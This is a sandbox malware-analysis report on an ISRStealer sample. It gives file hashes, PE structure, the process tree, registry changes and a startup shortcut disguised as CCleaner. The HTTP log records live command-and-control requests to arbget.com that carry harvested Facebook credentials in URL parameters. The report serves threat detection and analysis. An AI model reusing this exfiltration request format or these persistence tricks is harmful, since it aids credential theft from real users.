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File name:

df562603263c2f6f53f064ebdb33d150

Full analysis: https://app.any.run/tasks/c499c05a-180f-4cc4-8cfa-c88914b93d04
Verdict: Malicious activity
Threats:

Stealers are a group of malicious software that are intended for gaining unauthorized access to users’ information and transferring it to the attacker. The stealer malware category includes various types of programs that focus on their particular kind of data, including files, passwords, and cryptocurrency. Stealers are capable of spying on their targets by recording their keystrokes and taking screenshots. This type of malware is primarily distributed as part of phishing campaigns.

Analysis date: January 22, 2019, 15:49:21
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
trojan
isrstealer
stealer
Indicators:
MIME: application/x-dosexec
File info: PE32 executable (GUI) Intel 80386, for MS Windows
MD5:

DF562603263C2F6F53F064EBDB33D150

SHA1:

506F5B0A099EB13B3A59A2DC754370D0A4EA4BBB

SHA256:

5AD58917AACABE0C6EB603B3AE67EA484B2C95E38BAB9D73284945EDF2C928B4

SSDEEP:

24576:URmJkcoQricOIQxiZY1iaDg6osvA3T7kIsTfw7NYxNc1Z0DCg4H6T:xJZoQrbTFZY1iaDg6pvA3T7kjo7Np0Db

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Actions looks like stealing of personal data

      • Mshta.exe (PID: 3792)
      • Mshta.exe (PID: 3132)
      • Mshta.exe (PID: 2452)
    • Writes to a start menu file

      • df562603263c2f6f53f064ebdb33d150.exe (PID: 2836)
    • ISRSTEALER was detected

      • Mshta.exe (PID: 2452)
    • Stealing of credential data

      • Mshta.exe (PID: 3792)
      • Mshta.exe (PID: 3132)
    • Sending of credential data detected

      • Mshta.exe (PID: 2452)
    • Connects to CnC server

      • Mshta.exe (PID: 2452)
  • SUSPICIOUS

    • Executable content was dropped or overwritten

      • df562603263c2f6f53f064ebdb33d150.exe (PID: 2836)
    • Starts MSHTA.EXE for opening HTA or HTMLS files

      • df562603263c2f6f53f064ebdb33d150.exe (PID: 2836)
      • Mshta.exe (PID: 2452)
    • Creates files in the user directory

      • df562603263c2f6f53f064ebdb33d150.exe (PID: 2836)
    • Loads DLL from Mozilla Firefox

      • Mshta.exe (PID: 3132)
    • Application launched itself

      • Mshta.exe (PID: 2452)
  • INFO

    No info indicators.
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.exe | Win32 Executable MS Visual C++ (generic) (42.2)
.exe | Win64 Executable (generic) (37.3)
.dll | Win32 Dynamic Link Library (generic) (8.8)
.exe | Win32 Executable (generic) (6)
.exe | Generic Win/DOS Executable (2.7)

EXIF

EXE

CompiledScript: AutoIt v3 Script: 3, 3, 8, 1
FileVersion: 3, 3, 8, 1
FileDescription: -
CharacterSet: Unicode
LanguageCode: English (British)
FileSubtype: -
ObjectFileType: Unknown
FileOS: Win32
FileFlags: (none)
FileFlagsMask: 0x0017
ProductVersionNumber: 3.3.8.1
FileVersionNumber: 3.3.8.1
Subsystem: Windows GUI
SubsystemVersion: 5
ImageVersion: -
OSVersion: 5
EntryPoint: 0x165c1
UninitializedDataSize: -
InitializedDataSize: 121856
CodeSize: 526336
LinkerVersion: 10
PEType: PE32
TimeStamp: 2012:01:29 22:32:28+01:00
MachineType: Intel 386 or later, and compatibles

Summary

Architecture: IMAGE_FILE_MACHINE_I386
Subsystem: IMAGE_SUBSYSTEM_WINDOWS_GUI
Compilation Date: 29-Jan-2012 21:32:28
Detected languages:
  • English - United Kingdom
  • English - United States
FileDescription: -
FileVersion: 3, 3, 8, 1
CompiledScript: AutoIt v3 Script: 3, 3, 8, 1

DOS Header

Magic number: MZ
Bytes on last page of file: 0x0090
Pages in file: 0x0003
Relocations: 0x0000
Size of header: 0x0004
Min extra paragraphs: 0x0000
Max extra paragraphs: 0xFFFF
Initial SS value: 0x0000
Initial SP value: 0x00B8
Checksum: 0x0000
Initial IP value: 0x0000
Initial CS value: 0x0000
Overlay number: 0x0000
OEM identifier: 0x0000
OEM information: 0x0000
Address of NE header: 0x000000F8

PE Headers

Signature: PE
Machine: IMAGE_FILE_MACHINE_I386
Number of sections: 4
Time date stamp: 29-Jan-2012 21:32:28
Pointer to Symbol Table: 0x00000000
Number of symbols: 0
Size of Optional Header: 0x00E0
Characteristics:
  • IMAGE_FILE_32BIT_MACHINE
  • IMAGE_FILE_EXECUTABLE_IMAGE
  • IMAGE_FILE_LARGE_ADDRESS_AWARE
  • IMAGE_FILE_RELOCS_STRIPPED

Sections

Name
Virtual Address
Virtual Size
Raw Size
Charateristics
Entropy
.text
0x00001000
0x0008061C
0x00080800
IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
6.68469
.rdata
0x00082000
0x0000DFC0
0x0000E000
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
4.79974
.data
0x00090000
0x0001A758
0x00006800
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
2.15007
.rsrc
0x000AB000
0x00067460
0x00067600
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
5.41211

Resources

Title
Entropy
Size
Codepage
Language
Type
1
5.01246
620
Latin 1 / Western European
English - United States
RT_MANIFEST
2
3.66371
296
Latin 1 / Western European
English - United Kingdom
RT_ICON
3
2.25499
296
Latin 1 / Western European
English - United Kingdom
RT_ICON
4
5.29506
270376
UNKNOWN
English - United Kingdom
RT_ICON
5
5.3841
67624
UNKNOWN
English - United Kingdom
RT_ICON
6
5.64687
38056
UNKNOWN
English - United Kingdom
RT_ICON
7
3.31436
1328
Latin 1 / Western European
English - United Kingdom
RT_STRING
8
3.28624
1680
Latin 1 / Western European
English - United Kingdom
RT_STRING
9
3.2836
1232
Latin 1 / Western European
English - United Kingdom
RT_STRING
10
3.28373
1532
Latin 1 / Western European
English - United Kingdom
RT_STRING

Imports

ADVAPI32.dll
COMCTL32.dll
COMDLG32.dll
GDI32.dll
KERNEL32.dll
MPR.dll
OLEAUT32.dll
PSAPI.DLL
SHELL32.dll
USER32.dll
No data.
screenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
33
Monitored processes
4
Malicious processes
2
Suspicious processes
1

Behavior graph

Click at the process to see the details
start df562603263c2f6f53f064ebdb33d150.exe #ISRSTEALER mshta.exe mshta.exe mshta.exe

Process information

PID
CMD
Path
Indicators
Parent process
2836"C:\Users\admin\AppData\Local\Temp\df562603263c2f6f53f064ebdb33d150.exe" C:\Users\admin\AppData\Local\Temp\df562603263c2f6f53f064ebdb33d150.exe
explorer.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
Version:
3, 3, 8, 1
2452"C:\Windows\system32\Mshta.exe"C:\Windows\system32\Mshta.exe
df562603263c2f6f53f064ebdb33d150.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft (R) HTML Application host
Exit code:
0
Version:
8.00.7600.16385 (win7_rtm.090713-1255)
3132 /scomma "C:\Users\admin\AppData\Local\Temp\vxazbDE6SM.ini"C:\Windows\system32\Mshta.exe
Mshta.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft (R) HTML Application host
Exit code:
0
Version:
8.00.7600.16385 (win7_rtm.090713-1255)
3792 /scomma "C:\Users\admin\AppData\Local\Temp\QKW73THeLD.ini"C:\Windows\system32\Mshta.exe
Mshta.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft (R) HTML Application host
Exit code:
0
Version:
8.00.7600.16385 (win7_rtm.090713-1255)
Total events
193
Read events
187
Write events
6
Delete events
0

Modification events

(PID) Process:(2452) Mshta.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings
Operation:writeName:ProxyEnable
Value:
0
(PID) Process:(2452) Mshta.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections
Operation:writeName:SavedLegacySettings
Value:
4600000069000000010000000000000000000000000000000000000000000000C0E333BBEAB1D301000000000000000000000000020000001700000000000000FE800000000000007D6CB050D9C573F70B000000000000006D00330032005C004D00530049004D004700330032002E0064006C000100000004AA400014AA4000040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000C0A8016400000000000000000000000000000000000000000800000000000000805D3F00983740000008000002000000000000600000002060040000B8A94000020000008802000060040000B8A9400004000000F8010000B284000088B64000B84B400043003A000000000000000000000000000000000000000000
(PID) Process:(2452) Mshta.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
0
(PID) Process:(2452) Mshta.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
1
Executable files
1
Suspicious files
0
Text files
2
Unknown types
1

Dropped files

PID
Process
Filename
Type
2836df562603263c2f6f53f064ebdb33d150.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CCleaner.lnklnk
MD5:B32706FF6BC5E0C2935841A2CF6AD5CD
SHA256:595338241AB71D6C329ABBDF9E4F3ADF310213AE6FB3A697F1F29C2C653F4C9A
3132Mshta.exeC:\Users\admin\AppData\Local\Temp\vxazbDE6SM.initext
MD5:9A47AD9735185C35A1C7867976CB1884
SHA256:788D0D9A0E7E5986FEAD2D9F1DC0FA4A5E04386ED774522DB766A1B01B40C932
2836df562603263c2f6f53f064ebdb33d150.exeC:\Users\admin\AppData\Roaming\df562603263c2f6f53f064ebdb33d150.exeexecutable
MD5:DF562603263C2F6F53F064EBDB33D150
SHA256:5AD58917AACABE0C6EB603B3AE67EA484B2C95E38BAB9D73284945EDF2C928B4
3792Mshta.exeC:\Users\admin\AppData\Local\Temp\QKW73THeLD.initext
MD5:694A49A611C108EB6D3E51D8A5494237
SHA256:B0FF9408736D6CA22B705CE872ABD00E48712634870236B82F91B2E0D09BAA78
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
3
TCP/UDP connections
4
DNS requests
1
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2452
Mshta.exe
GET
500
160.153.133.193:80
http://arbget.com/mans/index.php?action=add&[email protected]&password=honeypass356&app=Chrome&pcname=USER-PC&sitename=https://m.facebook.com/
US
malicious
2452
Mshta.exe
GET
500
160.153.133.193:80
http://arbget.com/mans/index.php?action=add&[email protected]&password=honeypass356&app=Opera&pcname=USER-PC&sitename=https://www.facebook.com
US
malicious
2452
Mshta.exe
GET
500
160.153.133.193:80
http://arbget.com/mans/index.php?action=add&[email protected]&password=honeypass356&app=IE%207-9&pcname=USER-PC&sitename=https://m.facebook.com/
US
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2452
Mshta.exe
160.153.133.193:80
arbget.com
GoDaddy.com, LLC
US
malicious

DNS requests

Domain
IP
Reputation
arbget.com
  • 160.153.133.193
malicious

Threats

PID
Process
Class
Message
2452
Mshta.exe
A Network Trojan was detected
ET TROJAN ISRStealer Checkin
2452
Mshta.exe
A Network Trojan was detected
ET USER_AGENTS Suspicious User-Agent (HardCore Software For)
2452
Mshta.exe
A Network Trojan was detected
SC BAD_UNKNOWN Possible account leak via GET query
2452
Mshta.exe
A Network Trojan was detected
ET TROJAN ISRStealer Checkin
2452
Mshta.exe
A Network Trojan was detected
ET USER_AGENTS Suspicious User-Agent (HardCore Software For)
2452
Mshta.exe
A Network Trojan was detected
SC BAD_UNKNOWN Possible account leak via GET query
2452
Mshta.exe
A Network Trojan was detected
ET TROJAN ISRStealer Checkin
2452
Mshta.exe
A Network Trojan was detected
ET USER_AGENTS Suspicious User-Agent (HardCore Software For)
2452
Mshta.exe
A Network Trojan was detected
SC BAD_UNKNOWN Possible account leak via GET query
2452
Mshta.exe
A Network Trojan was detected
ET TROJAN ISRStealer Checkin
No debug info